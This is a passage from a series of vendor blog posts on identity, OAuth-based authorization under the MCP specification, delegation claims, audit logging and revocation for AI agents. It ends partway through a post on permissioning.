delegation that keeps the user in `sub` and records each actor in a nested `act` claim.** The draft adds a refinement worth knowing about for anything that fans out internally. Access tokens are usually good for many transactions, so passing one between microservices "increases the risk of token theft and replay attacks." Its answer is the transaction token: a downscoped token "bound to a specific transaction" that "cannot be used as an access token, with another transaction, or within the same transaction with modified transaction details." Change the amount on a payment mid-chain and the token no longer applies. > **A delegation chain that can widen scope at any hop has already defeated the reason scoping existed.** > Narrowing is the invariant. `may_act` is how the authorization server enforces it rather than trusting > each hop to behave. ## MCP and OAuth {#mcp-oauth} MCP standardises how an agent discovers and calls tools. As of the `2026-07-28` revision it also takes a firm position on identity, by declaring that "a protected MCP server acts as an OAuth 2.1 resource server" and inheriting the obligations that come with that role. Three of those obligations do real work. MCP servers "MUST implement OAuth 2.0 Protected Resource Metadata (RFC9728)" so a client can discover which authorization server to talk to, and must answer an unauthenticated call with a 401 carrying a `WWW-Authenticate` header pointing at that metadata. Clients "MUST implement Resource Indicators for OAuth 2.0 as defined in RFC 8707," sending a `resource` parameter that names the specific server the token is for. And servers "MUST validate that access tokens were issued specifically for them as the intended audience." The third is the one that keeps an agent's credentials from becoming a skeleton key. If the MCP server calls an upstream API, the spec is explicit that this is a separate token from a separate authorization server, and that the "MCP server MUST NOT pass through the token it received from the MCP client." Forwarding it unchanged is the confused deputy shape, where the downstream API trusts a token it should never have seen. MCP also separates the two failure modes cleanly, which is more than most homegrown gateways manage. A 401 means authorization is required or the token is invalid. A 403 means the identity is fine and the scopes are not, and the server should return `error="insufficient_scope"` naming the scopes the operation needs, so the client can step up instead of guessing. ## Audit and Revocation {#audit} Identity that leaves no record is unverifiable, which for practical purposes means it is not identity. The draft treats this as normative rather than operational: deployments "MUST maintain sufficient monitoring and observability to reconstruct agent behavior and authorization context after execution," and "observability is therefore a security control, not solely an operational feature." It then lists what an audit event must carry, at minimum: - the authenticated agent identifier - the delegated subject, user or system, when present - the resource or tool being accessed - the action requested and the authorization decision - a timestamp and a transaction or request correlation identifier - the posture assessment or risk state that influenced the decision - remediation or revocation events and their cause Records "MUST be tamper-evident." We think most agent logging already carries the third and fifth items and stops there, which is enough to reconstruct a sequence and not enough to reconstruct authority. Revocation is where a token's face value stops being good enough. NIST's zero trust tenets already set the bar: access is "granted on a per-session basis," and "all resource authentication and authorization are dynamic and strictly enforced before access is allowed." The agent draft turns that into a hard rule for cached state. On receiving a signal such as session revoked, subject disabled or token replay suspected, recipients "MUST ensure that revoked or downgraded authorization is enforced without undue delay," and "cached authorization decisions and tokens that are no longer valid MUST NOT continue to be used." The transport it suggests is the OpenID Shared Signals Framework with CAEP or RISC profiles, which is an existing eventing standard rather than something anyone has to invent. ## Reference Architecture {#architecture} Put the pieces together and an agent identity layer has five parts. ```mermaid flowchart LR U["Upstream IdP<br/>human identity"] --> R["Agent registry<br/>one stable identifier per agent"] R --> P["Permissions<br/>action-level, user ∩ agent"] P --> T["Token broker<br/>short-lived, audience-bound"] T --> M["MCP server / tool"] T --> A["Audit pipeline<br/>tamper-evident record"] ``` Agent registry (one stable identifier per agent) --> Permissions layer (action-level; user scopes intersected with agent scopes) --> Token broker (short-lived, audience-bound token) --> MCP server / tool Token broker also writes to --> Audit pipeline (tamper-evident record) --> **Figure 2 — A request's path through the identity layer. Every hop narrows what the next one can do, and the audit pipeline records the path whether or not the call succeeds.** The upstream IdP integration inherits human identity rather than reinventing it. The registry holds one stable identifier per agent with a real lifecycle, and Entra Agent ID is a sanity check on what that lifecycle needs: owner and sponsor metadata so somebody is accountable, access reviews to "verify that agent identities still need the access they have", and lifecycle workflows so sponsorship transfers instead of evaporating when a person leaves. The permissions layer evaluates on every call, not once at setup. The broker mints short-lived, audience-bound tokens. The audit pipeline writes the seven fields above somewhere queryable. The failure mode is treating any one of these as sufficient. A registry with no permissions layer tells you the agent exists. A permissions layer with no broker has nowhere to enforce what it decided. A broker with no audit pipeline makes correct decisions nobody can reconstruct three weeks later. ## Where Fabriq Fits {#fabriq} Agentic Fabriq holds credentials per user in a vault and attaches them server-side at the moment of the call, so the agent never handles the secret. Every request carries two identities, the agent and the acting user, and an agent's effective tool list is the intersection of the user's scopes and the agent's, which is row four of Table 1 rather than row three. Refresh runs behind that boundary with last-used tracking, and calls land in an audit record. What it does not do is reach into the provider on your behalf. Clearing a vault copy of a credential is not the same act as invalidating a grant upstream, so the call to the provider's revocation endpoint remains yours to make. ## Frequently Asked Questions {#faq} **Does an AI agent need its own identity, or can it use the user's?** It needs its own. RFC 8693 calls reusing the user's identity impersonation, and defines it as the acting party being "indistinguishable from B in that context." Indistinguishable means your audit trail cannot separate the agent's actions from the person's, which is the one thing you will want after an incident. **What is a WIMSE identifier?** A URI that uniquely identifies a workload within a trust domain, defined by the IETF's Workload Identity in Multi-System Environments work. `draft-klrc-aiagent-auth-03` makes it the primary identifier for agents and requires exactly one per agent. A SPIFFE ID, of the form `spiffe://<trust-domain>/<path>`, is a widely deployed instance of the same model. **Is SPIFFE the right identity for an AI agent?** For the workload half, yes. SPIFFE names the process and the SVID proves it cryptographically. What it does not carry is the user the agent acts for, so you still need an OAuth grant alongside it. **How do I know if my agent has two identities or one?** Decode its access token. Under RFC 9068, `sub` should hold the resource owner for user-delegated grants and the client for client-credentials grants, and `client_id` holds the agent. If both fields name the same principal, the agent is acting purely for itself regardless of which human triggered it. **What is the `act` claim for?** Expressing delegation inside a JWT. RFC 8693 defines it as identifying "the acting party to whom authority has been delegated," and lets chains nest, with the outermost `act` being the current actor and inner ones the prior actors. `may_act` is the companion claim stating who is permitted to become an actor for whom. **Can I just revoke the token when an agent misbehaves?** Only if something rechecks. A bearer token stays valid for its full lifetime unless the resource server consults current state, which is why the draft requires that cached authorization decisions and invalid tokens "MUST NOT continue to be used" after a revocation signal, and points at Shared Signals with CAEP as the delivery mechanism. **Do I need a new standard for any of this?** No. The draft's own abstract says it "leverages existing standards" rather than proposing new protocols: SPIFFE or WIMSE for the identifier, OAuth 2.1 for the grant, RFC 9068 for the token shape, RFC 8693 for delegation, RFC 9728 for discovery. The assembly is the work. **What must an agent audit record contain?** Seven fields, per section 11 of the draft: agent identifier, delegated subject, resource or tool, action and decision, timestamp plus correlation ID, posture or risk state, and any remediation event with its cause. Records must be tamper-evident. ## Conclusion {#conclusion} The primitives were never the problem. OAuth works. An identity provider works. SPIFFE has been issuing workload identities in production for years. What was missing was a principal that acts on someone else's behalf, chains across tools that do not know about each other, and needs its authority checked on every call rather than once at login. That gap is closing in public: in an IETF draft, and in directory products that now ship a distinct resource type for agents. Both arrived at the same answer. One stable identifier per agent, a credential cryptographically bound to it, the acting user preserved alongside it in the token, and an audit record carrying both. Build the token check first. Decode what your agents present, look at `sub` and `client_id`, and see whether the two identities the spec requires are actually there. > **If you cannot say which agent took a given action, on whose authority, and how to stop it on the next > request, the identity layer is not built yet.** Two claims and a tamper-evident log get you most of the > way. ## Sources {#sources} All URLs read 2026-09-29. - [Agent Access Control Taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — the identity-model dimension, whose terms line up row for row with Table 1, each with a stable id you can cite in an architecture review. - [AI Agent Authentication and Authorization, draft-klrc-aiagent-auth-03](https://datatracker.ietf.org/doc/draft-klrc-aiagent-auth/) — agents as workloads (§4), the WIMSE identifier requirement (§6), credential binding (§7), `client_id`/`sub` placement (§10.3), transaction tokens (§10.5) and the mandatory audit fields (§11). - [RFC 8693: OAuth 2.0 Token Exchange](https://www.rfc-editor.org/rfc/rfc8693.html) — delegation versus impersonation (§1.1), the `act` claim and its nesting (§4.1), and `may_act` (§4.4). - [RFC 9068: JWT Profile for OAuth 2.0 Access Tokens](https://www.rfc-editor.org/rfc/rfc9068.html) — required `sub`, `client_id` and `aud` claims (§2.2) and the audience rejection rule. - [RFC 9728: OAuth 2.0 Protected Resource Metadata](https://www.rfc-editor.org/rfc/rfc9728.html) — `scopes_supported`, and the `resource_metadata` parameter on `WWW-Authenticate` (§5.1). - [RFC 9700: Best Current Practice for OAuth 2.0 Security](https://www.rfc-editor.org/rfc/rfc9700.html) — audience restriction and minimum-privilege guidance for access tokens (§2.3). - [MCP specification 2026-07-28, Authorization](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization) — MCP servers as OAuth 2.1 resource servers, the RFC 9728 and RFC 8707 requirements, and the 401/403/400 error table. - [MCP Authorization Security Considerations, 2026-07-28](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/security-considerations) — audience validation, confused deputy, and the ban on passing through a received token. - [SPIFFE Concepts](https://spiffe.io/docs/latest/spiffe-about/spiffe-concepts/) — the SPIFFE ID URI form, the SVID and its X.509 and JWT formats, and trust domains. - [Overview of Microsoft Graph permissions](https://learn.microsoft.com/en-us/graph/permissions-overview) — delegated versus application permissions, and the rule that an app cannot reach anything the signed-in user could not. - [Microsoft Entra Agent ID APIs in Microsoft Graph](https://learn.microsoft.com/en-us/graph/api/resources/agentid-platform-overview?view=graph-rest-beta) — the agent identity resource types, owner/sponsor/manager accountability, access reviews, and the Graph permissions blocked for agents with an HTTP 400. - [NIST SP 800-207: Zero Trust Architecture](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-207.pdf) — per-session access (tenet 3) and dynamic, strictly enforced authentication and authorization (tenet 6). - [NIST SP 800-63-3: Digital Identity Guidelines](https://pages.nist.gov/800-63-3/sp800-63-3.html) — authentication as validity of an authenticator, and that it "does not determine the claimant's authorizations or access privileges". ================================================================================ ## MCP, OAuth, and the Agent Permissioning Problem URL: https://www.agenticfabriq.com/blog/mcp-oauth-permissioning-problem Published: 2026-05-11 Author: Agentic Fabriq Summary: The 2026-07-28 MCP revision makes servers strict OAuth 2.1 resource servers with audience-bound tokens and 403 scope challenges. It still does not say which agent is acting for which user. ```tldr **MCP's authorization story is no longer vague. The 2026-07-28 revision makes an MCP server a strict OAuth 2.1 resource server: tokens audience-bound through RFC 8707, discovery through RFC 9728, issuer checks from RFC 9207, and a `403 insufficient_scope` challenge for stepping up. What it still does not answer is which agent, acting for which user, may take a given action.** The spec is explicit about that boundary. An MCP server "MUST validate that access tokens were issued specifically for them as the intended audience", and it "MUST NOT pass through the token it received from the MCP client". Both rules govern where a token may be spent. Neither says who is behind the call. The common reading is that this is an oversight the next revision will close. We don't think it will. Dynamic Client Registration was deprecated in this revision in favour of Client ID Metadata Documents, which identify the client software by URL. That is a statement about which program is calling, not about the person it is working for. None of this is a complaint about MCP. Audience binding and per-operation scope challenges remove real attacks, and the confused-deputy write-up in the security guidance is sharper than most vendor threat models. The point is narrower: those are protocol mechanics, and one specific action is not a protocol question. Today: return `scope` in every `WWW-Authenticate` challenge, keep `scopes_supported` to the minimum your server needs, and put the user-and-agent decision in one enforcement point instead of in each server. ``` ## Overview {#overview} Take a procurement agent that reconciles supplier statements against purchase orders. It reaches three MCP servers: one in front of the ERP, one in front of a document store, and one a teammate wrote in an afternoon to query a warehouse. All three implement the current protocol revision correctly. All three validate token audiences. And nothing in that system can answer whether this agent, working for this buyer, should be allowed to issue a credit note at 02:00. The interesting thing is how much smaller that gap has become. MCP's authorization chapter used to be one page of advice; the `2026-07-28` revision cites ten specifications, requires RFC 9728 Protected Resource Metadata on the server, requires the RFC 8707 `resource` parameter on the client, adds RFC 9207 issuer validation to the authorization response, and deprecates Dynamic Client Registration in favour of Client ID Metadata Documents. If you last looked at this in 2025, we would assume most of what you remember has changed. The general case for why OAuth alone does not cover autonomous agents is [covered separately](/blog/oauth-not-enough-for-agents). This post is narrower and more mechanical: what the current MCP revision genuinely settles, what it deliberately leaves to the implementer, and which of those leftovers show up as production incidents rather than as design debates. > **MCP and OAuth are protocols. Permissioning is a decision.** The protocols now do a good job of > making sure a token is well-formed, correctly addressed, and hard to steal. None of that is the same > as deciding that a particular action should happen. ## What the Spec Actually Requires {#mcp} An MCP server over HTTP "acts as an OAuth 2.1 resource server", and the client acts as an OAuth 2.1 client. That framing does most of the work, because it pulls in a pile of requirements that are easy to skip when you are writing auth by hand. | Concern | What the revision requires | Consequence if you skip it | | --- | --- | --- | | Finding the authorization server | Servers **MUST** implement RFC 9728 and return `WWW-Authenticate` with a `resource_metadata` URL on a 401 | Clients cannot connect without out-of-band configuration | | Naming the intended recipient | Clients **MUST** send the RFC 8707 `resource` parameter in authorization and token requests, "regardless of whether authorization servers support it" | Tokens stay general-purpose and replayable across services | | Audience checking | Servers **MUST** validate that tokens "were issued specifically for them as the intended audience" | Any token from the same issuer works on your server | | Not laundering tokens | The MCP server "**MUST NOT** pass through the token it received from the MCP client" | Confused deputy, and downstream logs that name the wrong caller | | Identifying the client | Pre-registration first where it exists, then Client ID Metadata Documents; Dynamic Client Registration deprecated in `2026-07-28` | Registration records pile up and cannot be attributed | | Mix-up defence | Clients record the issuer and validate the `iss` authorization-response parameter per RFC 9207 | An attacker-controlled authorization server can swap itself in | | State handles | MCP is stateless, and servers "**MUST NOT** treat possession of a state handle as authentication" | A guessed cart or workflow ID reads another user's state | **Table 1 — The requirements the current revision pins down, and what breaks without each.** Two of those rows are worth sitting with. The `resource` parameter is RFC 8707, which exists because "scope is typically about what access is being requested rather than where that access will be redeemed". MCP requires clients to send it whether or not the authorization server understands it, which is a bet on adoption: send the parameter now, get audience-restricted tokens later when the server catches up. The canonical form is the server's own URI, so `https://mcp.example.com/mcp` is valid and `mcp.example.com` is not. The registration row is the bigger change. Dynamic Client Registration, RFC 7591, was how every 2025-era MCP client got a `client_id` from a server it had never met. It is now listed in the deprecated-features registry with a migration path to Client ID Metadata Documents and an earliest removal of "first revision released on or after 2027-07-28". Under the replacement draft, the `client_id` is an HTTPS URL that "refers to a document containing the necessary client metadata", and the authorization server fetches and validates it, including checking that the document's own `client_id` matches the URL exactly. The practical effect is that client identity becomes portable and inspectable instead of being a row in somebody's registration table. ## The Scope Challenge Loop {#scopes} The part of the revision that changes day-to-day code is the error contract. Three status codes, and they mean different things. | Status | When | What the client should do | | --- | --- | --- | | 400 | Malformed authorization request | Fix the request. Not retryable | | 401 | No token, or the token is invalid or expired | Read `resource_metadata` from `WWW-Authenticate`, discover, authorize | | 403 | Token is valid but lacks the scopes for this operation | Union the challenged scopes with what you already hold, re-authorize, retry | **Table 2 — The MCP authorization error contract, and the correct client response to each.** The 403 is the one people get wrong, and RFC 6750 is unambiguous about it: `insufficient_scope` means "the request requires higher privileges than provided by the access token", and it maps to 403, not 401. MCP builds a step-up flow on top. Servers **SHOULD** include a `scope` parameter in the challenge, and clients **MUST** treat the challenged scopes "as authoritative for the current operation". ```http HTTP/1.1 403 Forbidden WWW-Authenticate: Bearer error="insufficient_scope", scope="files:write", resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource", error_description="File write permission required for this operation" ``` Two details in that flow save real outages. First, the client computes the union of what it already requested and what the challenge asks for, because a server emitting per-operation challenges will otherwise walk the client down to a single narrow scope and break every other tool it had working. Second, servers **SHOULD** emit every scope needed for the current operation in one challenge. The spec says why: challenging incrementally "forces multiple authorization round-trips for a single operation and degrades user experience". A user clicking through four consent screens to send one message is a bug in your challenge construction, not in their patience. The complement is on the server side. `scopes_supported` is meant to be "the minimal set of scopes necessary for basic functionality", with everything else requested incrementally. The security guidance is blunter about the failure this prevents: publishing every scope you own leads to "expanded blast radius", "audit noise: single omnibus scope masks user intent per operation", and "consent abandonment: users decline dialogs listing excessive scopes". Wildcard and omnibus scopes such as `*`, `all` and `full-access` are named as common mistakes. > **A scope challenge is a per-operation question with a per-grant answer.** The server can compute the > required scopes from the specific request arguments, which is genuinely fine-grained. What comes back > is a token carrying that scope for every future call, and nothing in the protocol narrows it again. That > is [`aact:authorization-model/scope-at-grant`](https://github.com/agenticfabriq/agent-access-control-taxonomy/blob/main/taxonomy/authorization-model.yaml), > not `aact:authorization-model/per-action-policy`. ## What Is Left Open {#gap} Here is our honest accounting of what none of the above decides. **Who the agent is.** A validated token tells the server two things: a subject, and a client. The client is the software, identified in the new model by a metadata-document URL. Neither field distinguishes an autonomous agent running unattended from the same user's IDE making the same call, and the spec does not ask them to. If your audit record needs to say "the reconciliation agent, acting for this buyer", the protocol will not supply the first half. **Whether this specific action is allowed.** Scope is the only vocabulary on the wire, and the guidance itself lists "treating claimed scopes in token as sufficient without server-side authorization logic" as a common mistake. Scopes describe classes of operation. `files:write` does not distinguish a draft folder from a signed contract, and the server is left to decide. **Who holds the upstream credential.** Because token passthrough is forbidden, an MCP server that talks to a real SaaS API "may act as an OAuth client to them", and "the access token used at the upstream API is a separate token". That is correct, and it quietly assigns every MCP server its own credential store, its own refresh logic, and its own disconnect semantics. Ten servers, ten vaults. **How fast revocation lands.** The protocol has no revocation primitive at all, so the answer is whatever the identity provider gives you. Microsoft's `revokeSignInSessions` invalidates all of a user's refresh tokens, and the documentation warns that "there might be a small delay of a few minutes before tokens are revoked". A few minutes is a long time for something making calls in a loop. The security guidance is at its best on what happens when these leftovers are handled badly. The confused-deputy attack needs four conditions together: a proxy using a static client ID upstream, MCP clients registering dynamically, a third-party authorization server that sets a consent cookie, and no per-client consent at the proxy. Then a malicious link reuses the victim's consent cookie, the consent screen is skipped, and the authorization code lands on the attacker's `redirect_uri`. The mitigation is a registry of approved `client_id` values per user, checked before the upstream flow, with the state cookie set only after consent is approved. ```mermaid flowchart LR AG["Agent"] --> EP["one enforcement point"] EP --> ID["resolve: which agent,<br/>acting for which user"] EP --> CHK["intersect: user scopes<br/>and agent scopes"] EP --> CRED["attach upstream credential<br/>server-side, per user"] CRED --> M1["MCP server A"] CRED --> M2["MCP server B"] M1 --> LOG["one audit record"] M2 --> LOG ``` one enforcement point -> resolve which agent, acting for which user -> intersect user scopes AND agent scopes -> attach the upstream credential server-side, per user -> forward to MCP server A or B -> both write to one audit record --> **Figure 1 — The leftovers collected in one place. The protocol work still happens per server; the identity, intersection, and audit decisions stop being duplicated.** ## Carrying the User Into the Call {#delegation} There is a standards answer taking shape for the identity half, and it is worth knowing before building your own. RFC 8693 draws the distinction the problem needs. Under impersonation, a token makes A indistinguishable from B, so that "insofar as any entity receiving such a token is concerned, they are actually dealing with B". Under delegation, both parties stay visible: "A is an agent for B". The wire form is the `act` claim, which "provides a means within a JWT to express that delegation has occurred and identify the acting party to whom authority has been delegated", plus `may_act`, which "makes a statement that one party is authorized to become the actor and act on behalf of another party". Two identities in one token, and a claim saying the pairing was allowed in advance. MCP's own extension repository takes a different route to the same place. The stable Enterprise-Managed Authorization extension has the user sign in at the enterprise identity provider over OpenID Connect or SAML, exchanges that assertion for an Identity Assertion JWT Authorization Grant, and requires that issued access tokens "MUST be audience-restricted to the MCP Server identified by the `resource` claim". User identity rides in the grant's `sub` and `scope` claims; the client identifies itself with a `client_id` that may be a metadata-document URL. The reason it lives in an extension rather than the core is instructive: extensions are optional and additive by design, so an enterprise can have this while the base protocol stays simple. ```mermaid sequenceDiagram participant U as User at IdP participant C as Agent (MCP client) participant AS as Resource authz server participant M as MCP server U->>C: SSO assertion (OIDC/SAML) C->>AS: exchange assertion for grant AS-->>C: access token, audience = MCP server C->>M: tools/call + Authorization: Bearer M->>M: validate audience, then authorize the action M-->>C: result, or 403 + scope challenge ``` **Figure 2 — The enterprise-managed path. The audience is pinned by the grant; the action decision is still the server's own.** Neither mechanism decides anything for you. They are both plumbing for carrying two identities to the place where a decision gets made. That place is the thing you have to build or buy. ## Failure Modes {#failures} These are the ones we would instrument, because each looks like a different bug than it is. | Symptom | Likely cause | How to tell | | --- | --- | --- | | Client loops 401 forever | `resource_metadata` not returned on the 401, or the client is not parsing `WWW-Authenticate` | Curl the endpoint without a token and read the header | | Consent screen appears four times for one task | Server challenges one scope at a time instead of emitting all required scopes together | Count distinct `scope` values across consecutive 403s | | A tool that worked yesterday now 403s | Client re-authorized with only the challenged scope and dropped previously granted ones | Compare the token's `scope` before and after the last step-up | | Token accepted by the wrong server | No audience validation; any token from the same issuer passes | Present a token minted for a different `resource` and see if it works | | Upstream logs name the MCP server, not the agent | Token passthrough, or the upstream credential is shared across all users | Check whether the upstream call uses a per-user credential | | Access continues after offboarding | Revocation latency at the identity provider plus long-lived upstream tokens | Time the gap between revocation and the first rejected call | **Table 3 — Six MCP authorization failures and the cheapest signal that identifies each.** The offboarding row is the one that turns into an audit finding. Nothing in MCP revokes anything, and the identity provider's revocation only reaches tokens that provider issued. Upstream credentials held by individual MCP servers are outside that blast radius entirely, which is why the count of places credentials live matters more than any single one of them being well built. > **Every MCP server you add is another copy of the same four decisions.** Identity resolution, action > authorization, credential custody, and audit. The protocol makes the wire format identical across > servers. It does nothing to stop those four from diverging. ## Where Fabriq Fits {#fabriq} Agentic Fabriq holds credentials per user in a vault and attaches them server-side at the moment of the call, so the agent's reasoning loop never handles the secret. Every call carries two identities, the agent and the acting user, and produces an audit record naming both. An agent's effective tool list is the intersection of the user's scopes and the agent's own, which is the concrete version of the "user-and-agent" check this post keeps pointing at. What it does not do is reach into a provider on your behalf. Clearing a vault copy of a credential is not the same act as invalidating a grant upstream, so the call to the identity provider's revocation endpoint stays yours to make, and the latency above is still the latency you get. ## Frequently Asked Questions {#faq} **Does MCP support OAuth?** Yes, and specifically OAuth 2.1 over HTTP transports. Authorization is **OPTIONAL** in the spec, but when it is implemented an MCP server is an OAuth 2.1 resource server and the client is an OAuth 2.1 client. STDIO implementations are told not to follow the authorization spec at all and to "retrieve credentials from the environment" instead. **What is the difference between 401 and 403 in MCP?** A 401 means authorization is required or the token is invalid, and the client restarts discovery from the `WWW-Authenticate` header. A 403 means the token is fine but lacks scope, carries `error="insufficient_scope"`, and should trigger a step-up rather than a fresh discovery round. **Do I still need Dynamic Client Registration?** Not for new work. It is deprecated as of `2026-07-28`, with Client ID Metadata Documents as the migration path, and it remains in the spec for at least twelve months under the deprecation policy. Keep supporting it as a fallback for authorization servers that advertise `registration_endpoint` but not `client_id_metadata_document_supported`. **Can an MCP server forward my token to the upstream API?** No. "MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server", and the token used upstream must be a separate one the server obtained as an OAuth client in its own right. **What is the `resource` parameter for?** It names the server the token is meant for, so the authorization server can audience-restrict it. RFC 8707 defines `invalid_target` for the case where "the requested resource is invalid, missing, unknown, or malformed". MCP clients must send it even when the authorization server ignores it. **Is a session or state handle enough to authenticate?** No. MCP is stateless and has no protocol-level sessions. Where a server mints a handle for a cart or a workflow, servers "MUST NOT treat possession of a state handle as authentication", and the handle should be bound server-side to the verified user, keyed as `<user_id>:<handle>`. **Which scopes should my MCP server publish?** The minimum set needed for basic functionality, with everything else requested through step-up challenges. Publishing the full catalogue in `scopes_supported` is listed as a common mistake, alongside wildcard scopes and bundling unrelated privileges "to preempt future prompts". **How do I know which user an agent's tool call was for?** Not from the protocol. Either carry it in the token, through RFC 8693 delegation semantics or the Enterprise-Managed Authorization extension's identity grant, or resolve it at an enforcement point in front of the servers. What you cannot do is infer it from a `client_id`, which names the software. ## Conclusion {#conclusion} The version of this argument we would have written a year ago was that MCP punts on authorization. That is no longer true, and pretending otherwise misleads people into rebuilding things the spec now handles: audience binding, discovery, issuer validation, and a step-up flow with real error semantics. Implement those properly and a large class of attack goes away. What remains is not a protocol gap so much as a category difference. Audience binding answers where a token may be spent. Scope answers what class of operation it covers. Neither answers whether this agent, working for this person, should do this thing now, and both answers you might want are per-call judgements rather than properties of a credential. So the practical advice is unglamorous. Follow the spec exactly, including the parts that feel like paperwork, because `iss` validation and audience checks are cheap and the attacks they stop are not. Then decide where the per-call judgement happens, once, and make every MCP server you connect route through it, which is the taxonomy's [`aact:enforcement-point/gateway`](https://github.com/agenticfabriq/agent-access-control-taxonomy/blob/main/taxonomy/enforcement-point.yaml). Doing that late is how organisations end up with a dozen servers, a dozen credential stores, and no single answer to what the agent did. > **A protocol tells you the call is well-formed and correctly addressed. It was never going to tell you > whether the call should happen.** Build the place that decides before the first incident makes the case > for you. ## Sources {#sources} All URLs read 2026-09-29. - [Agent Access Control Taxonomy](https://agenticfabriq.github.io/agent-access-control-taxonomy/) — the authorization-model dimension, which separates scope fixed at grant time from a decision taken per action, and the enforcement-point dimension for where that decision is made. - [MCP Specification: Authorization, revision 2026-07-28](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization) — the OAuth 2.1 resource-server role, the ten referenced specifications, the `resource` parameter requirement, audience validation, the error table and the step-up flow. - [MCP Specification: Client Registration, revision 2026-07-28](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/client-registration) — the registration priority order, the Client ID Metadata Document requirements, and the deprecation warning on RFC 7591. - [MCP Security Best Practices, 2026-07-28](https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices) — confused deputy conditions and mitigations, the token-passthrough prohibition, state-handle hijacking, mix-up attacks, and the scope-minimization guidance. - [MCP Specification: Versioning](https://modelcontextprotocol.io/specification/versioning) — the `YYYY-MM-DD` scheme and confirmation that `2026-07-28` is current. - [MCP Specification: Deprecated Features](https://modelcontextprotocol.io/specification/2026-07-28/deprecated) — Dynamic Client Registration deprecated in `2026-07-28`, earliest removal on or after 2027-07-28. - [MCP Authorization Extensions](https://github.com/modelcontextprotocol/ext-auth) — the extension registry, with Enterprise-Managed Authorization listed as stable. - [RFC 8707: Resource Indicators for OAuth 2.0](https://www.rfc-editor.org/rfc/rfc8707.html) — the `resource` parameter, the `invalid_target` error, and why scope is the wrong place to encode a destination. - [RFC 9728: OAuth 2.0 Protected Resource Metadata](https://www.rfc-editor.org/rfc/rfc9728.html) — the metadata document, `authorization_servers`, `scopes_supported`, and the `WWW-Authenticate` `resource_metadata` parameter. - [RFC 6750: OAuth 2.0 Bearer Token Usage](https://www.rfc-editor.org/rfc/rfc6750.html) — the `scope` challenge attribute and the mapping of `invalid_token` to 401 and `insufficient_scope` to 403. - [RFC 8693: OAuth 2.0 Token Exchange](https://www.rfc-editor.org/rfc/rfc8693.html) — delegation versus impersonation, and the `act` and `may_act` claims. - [OAuth Client ID Metadata Document, draft-ietf-oauth-client-id-metadata-document-00](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00) — using an HTTPS URL as a `client_id`, and why it beats registering everywhere. - [RFC 9700: Best Current Practice for OAuth 2.0 Security](https://www.rfc-editor.org/rfc/rfc9700.html) — audience-restricting access tokens, sender-constraining them, and the rule against tokens in query parameters. - [user: revokeSignInSessions, Microsoft Graph](https://learn.microsoft.com/en-us/graph/api/user-revokesigninsessions) — what refresh-token revocation covers and the documented few-minute delay. - [OWASP Top 10 for Agentic Applications for 2026](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/) — the peer-reviewed risk list for agentic systems, published 9 December 2025. ================================================================================ ## Why AI Agents Need Permissioning, Audit Logs, and Revocation URL: https://www.agenticfabriq.com/blog/permissioning-audit-revocation Published: 2026-05-11 Author: Agentic Fabriq Summary: Three controls, and one of them promises more than it delivers. RFC 7009's meaningless 200, Entra's 15-minute propagation window, the AI Act's six-month log floor, and what each provider's revoke really does. ```tldr **Of the three controls every security review asks about, two do roughly what the name says and one does not. Revocation is the one that does not.** RFC 7009 makes the gap explicit. A revocation endpoint returns HTTP 200 "if the token has been revoked successfully or if the client submitted an invalid token", so a 200 is not evidence that anything was killed. Google's own revoke documentation adds that "it might take some time before the revocation has full effect." The common assumption is that clicking disconnect stops every copy of a credential everywhere, instantly. That holds for a session the revoking system actually issued. It does not hold for an OAuth token sitting in a provider's database, because only the issuer can invalidate it, and a self-contained access token may not be checked against the issuer at all before it is honoured. We are not arguing against building these three. We are arguing for building each one scoped to what it can reach, and for writing down the boundary before an incident finds it for you. Do three things this week. Log the deny decisions, not only the allows. Measure the gap between "revoked" in your console and "rejected" at the provider. And write down, per integration, which of those two your disconnect button actually performs. ``` ## Overview {#overview} Three controls come up whenever an agent stack heads toward production: permissioning, audit logging, and revocation. Security review asks about all three, usually in that order, and a team with good answers clears the process faster than one without. The trouble is what a good answer looks like. Permissioning gets described as something clever when the thing underneath is a scope lookup per call, which is fine and should be said plainly. Audit gets described as a complete forensic record, true for the decisions a gate makes and false for everything nobody instrumented. And revocation gets called a kill switch, which is where the damage happens, because the word implies authority that a platform sitting downstream of a provider does not have. None of the three is wrong to want. What is wrong is describing any of them with more reach than the code has. This post is about the mechanisms: the error codes, the documented propagation windows and the retention floors, rather than the philosophy of what an agent should be allowed to do. > **The distinction worth holding onto:** a control honest about its own boundary is safer to build a > posture around than one that oversells. The gap between the two only shows up during an incident, > which is the worst possible time to find it. ## Permissioning: a decision per call {#permissioning} Most agents still run on standing access. A service-account token with broad scopes, usable for anything the token allows, at any hour, for any reason. That is the setup behind most stories about an agent touching something nobody sanctioned. Nobody attacked anything. The credential was simply wider than the task. NIST's zero-trust architecture guidance describes the alternative in one line: "Access to individual enterprise resources is granted on a per-session basis", with "the least privileges needed to complete the task", and it adds the part people skip, that "authentication and authorization to one resource will not automatically grant access to a different resource". SP 800-207 frames the whole model as enforcing "accurate, least privilege per-request access decisions". Per request. Not per session start, not per deployment, which is [`aact:authorization-model/per-action-policy`](https://github.com/agenticfabriq/agent-access-control-taxonomy/blob/main/taxonomy/authorization-model.yaml) rather than `aact:authorization-model/scope-at-grant`. OWASP's LLM06:2025 entry names the failure from the other direction. It splits excessive agency into "excessive functionality; excessive permissions; excessive autonomy", and those three causes are independent. An agent can hold exactly the right scopes and still be dangerous because the tool it was handed is open-ended, which is why OWASP tells you to "avoid the use of open-ended extensions where possible (e.g., run a shell command, fetch a URL, etc.)". The useful version of the gate is default-deny, evaluated at the moment of the call, at org, team and member level, so a broad grant at the top does not silently become a broad grant for everyone underneath. And the denial should say what was missing. MCP's authorization specification, revision `2026-07-28`, defines that shape: a server responds `403 Forbidden` with a header carrying `error="insufficient_scope"` and `scope="files:write"`, naming the scope the operation needed. It also requires servers to "account for scope hierarchies, where a broader scope implies narrower ones". The same spec's security guidance is 